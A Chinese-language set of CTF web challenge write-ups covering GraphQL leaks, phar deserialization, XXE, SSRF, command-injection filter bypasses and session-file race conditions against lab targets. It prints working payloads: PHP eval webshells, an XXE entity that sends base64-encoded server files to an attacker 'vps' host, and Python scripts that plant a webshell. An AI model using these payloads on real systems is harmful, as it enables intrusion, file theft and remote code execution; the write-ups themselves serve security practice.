[NewStarCTF 公开赛赛道]ezAPI
刚开始无论输入什么都会提示:onlynumber
输入不存在的id会出现报错

扫一下网站目录,www.zip是网站源码备份,被泄露了

看到其通过garphql来查询数据
参考buuctf wp 12 | R4x大佬的博客
当CTF遇上GraphQL的那些事
根据源码,我们得让id set,然后用源码的data进行查询
这里套博客里面说的壳进行处理
id=1&data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}", "variables":null}

爆出来数据之后

我们试着进一步查询flag
构造查询语句即可
query { 表名 { 字段名 } }
data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1
总结:源码泄露+找到特定查询语句进行查询即可
[2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]easythinkphp
看题目名字是thinkPHP
找到利用工具

然后蚁剑连接即可

[NewStarCTF 2023 公开赛道]PharOne
看样子是一个反序列化,phar是一个扩展名
NewStarCTF WEEK4|WEB PharOne - DGhh - 博客园
看源码存在一个class.php,是一个反序列化
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
我们主页的php上传文件猜测只能上传jpg之类的文件,这里就不fuzz测试了
那这里就是利用反序列化生成phar,到时候用伪协议读取即可
参考我发的博客生成一个phar
php
<?php
class Flag
{
public $cmd;
}
$a = new Flag();
$a->cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("b.txt", "666");
$phar->stopBuffering();
然后文件上传
直接上传会提示hacker,改后缀为jpg,也会检测到文件头所以不让我们上传
只要这样写:
file=phar://shell.jpg
PHP 内部会自动:
- 看到是
phar://协议 - 检查文件是不是 Phar 格式
- 如果发现是 gzip 压缩过的 Phar
- 自动解压
因此这里我们用gzip压缩一下然后改后缀

这时候去class.php用伪协议包含:

现在1.php已经存在了一句话木马 ,链接即可
[NewStarCTF 公开赛赛道]Unsafe Apache
进去只提示It works!

漏洞扫描工具扫到一个CVE漏洞
用这个洞打就可以了

asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp:
用这个扫到漏洞利用点:


[SUCTF 2018]Homework
进去之后给了一个PHP:
php
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
看起来是一个计算器一样的东西

在这里上传作业,后缀似乎没有要求,但是上传后的路径我们不得而知

参考2018 SUCTF Homework xxe外带数据~~ xxe进行ssrf_[suctf 2018]homework-CSDN博客
SUCTF 2018 Web Writeup - SecPulse.COM | 安全脉搏
https://www.anquanke.com/post/id/146419#h3-4
这里存在一个module是cacl,也就是说moudle是可以调用的类
这里参考:https://www.anquanke.com/post/id/238482
人家大佬就能想到调用PHP原生类
我看wp都默认找到了xxe注入
看WP说是SimpleXMLElement这个能实现OOB带外查询
根据url结合calc源码可得到,module为调用的类,args为类的构造方法的参数。在PHP中存在内置类。其中包括SimpleXMLElement,文档中对于SimpleXMLElement::__construct定义如下:
可以看到通过设置第三个参数为true,可实现远程xml文件载入。第二个参数的常量值我们设置为2即可。
首先这是我们构造的恶意xml文件,引用外部实体:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/e.xml">
%remote;
]></root>
这是exp.xml内容:
XML
!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
这个exp.xml需要放在我们的服务器上面
启动一个网站:php -S 8080
因为前端注释提示了目录在default,所以我们路径就要写default
然后调用原生类:
连了半天连不上去,原来是BUU靶机不出网了
md,知道思路得了
[NewStarCTF 2023 公开赛道]泄漏的秘密
网站备份文件泄露,一个是robots.txt一个是Index.php
[网鼎杯 2020 玄武组]SSRFMe
网站源码:
php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
这里过滤了URL必须不是内网。而且得是http/gopher/dict这四个协议
这里检验是不是内网是进行前缀判断的。
payload:`/?url=http://0.0.0.0/hint.php\`
用0.0.0.0进行绕过
然后是下一关:
php
大学搜题酱App
帮助
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"
这里就是一个死亡代码,但是不能这样绕过了,会被过滤掉
绕过思路可以见:伪协议绕过死亡代码<?php exit();(file_put_contents) - hithub - 博客园
代码给了redis的密码
这里需要用到redis主从复制
参考:很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户
这里要有外网服务器来反弹shell,暂时作罢
这也不出网了,知道做法得了
[NewStarCTF 公开赛赛道]So Baby RCE
php
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
有一些比较复杂的过滤。我们目的是cat flag,但是很显然cat命令被过滤了
这时候我们需要去根目录看看flag名称是什么先
了解下linux的一个命令特性:&&连接符是先执行前面的然后执行后面的。那也就是说我们先多级cd,然后ls即可(LINUX的..就是上一级目录)
这里最好是URL编码一次

可以看到出了结果:

此时的payload:cdIFS..\&\&cdIFS..&&cdIFS..\&\&cdIFS..&&ls
然后我们想办法拿到flag的内容
$@可以被当作空字符
payload2:cd{IFS}..\&\&cd{IFS}..&&cd{IFS}..\&\&cd{IFS}..&&ta@c{IFS}ffff$@llllaaaaggggg
$@ 是一个特殊参数,表示:
所有传入脚本或当前 shell 函数的位置参数
这里$@就是空了,所以可以作为占位使用后绕过正则表达式
[NewStarCTF 公开赛赛道]So Baby RCE Again
没有看到回显,输入一个文件访问能访问到,说明可以执行命令

echo写一个一句话木马即可
echo '111<?php @eval($_POST["cmd"]); ?>11' > 1.php
但是我们读取文件的时候提示没有权限
估计要提权了这下,无语了

这是suid提权
在这网站查询,date是可以利用来读取文件的
读取即可
[NPUCTF2020]ezinclude
注释有一句:
<!--md5(secret.name)===$pass -->
测试出参数是name 和 pass:


跳转到了:flflflflag.php
不在抓包工具看会进行一个跳转

可以参考php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 博客园
这是文件上传getshell的两个思路,这里就用session文件包含这个更通用的
先构造恶意数据包:

随后我们可以看到sess_wlmt666
这里是包含了目录扫描扫到的dir.php
dir.php源码可以用伪协议读取,这里就不演示了,就是输出/tmp目录下的文件

然后包含这个文件。这里要条件竞争的包含,后续我没有尝试但是思路是这样的
这是人家给的脚本:
python
import io
import sys
import requests
import threading
host = 'http://c040513c-2b10-4f00-a0ee-3136bdb03056.node5.buuoj.cn:81//flflflflag.php'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
还有另一种做法:
python
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://c040513c-2b10-4f00-a0ee-3136bdb03056.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
用这个实现一个CVE-2018-14884利用

[HCTF 2018]Hideandseek
先让登录,输入admin是提示密码不对,输入其他的就能进去
然后是一个文件上传,需要上传一个zip文件
。